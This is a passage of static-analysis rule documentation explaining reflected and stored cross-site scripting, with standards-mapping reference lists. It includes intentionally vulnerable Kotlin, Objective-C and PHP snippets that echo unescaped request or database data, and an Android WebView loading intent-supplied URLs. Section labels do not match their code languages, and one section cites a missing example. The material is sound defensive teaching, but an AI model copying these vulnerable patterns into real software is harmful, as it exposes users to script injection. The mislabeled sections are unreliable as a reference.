[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code reads an employee ID, eid, from an HTTP servlet request, then displays the value back to the user in the servlet's response.


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name in the servlet's response.


val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.


A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Spring MVC). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_reflected
Abstract
The method sends unvalidated data to a web browser which can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of reflected XSS, the untrusted source is typically through user components, URL scheme handlers, or notifications, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a UIWebView component without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Objective-C code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {

UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]

...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from a custom URL scheme and reflected back in the content of a UIWebView response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable iOS application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a custom scheme URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable app. After the app reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following PHP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following PHP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
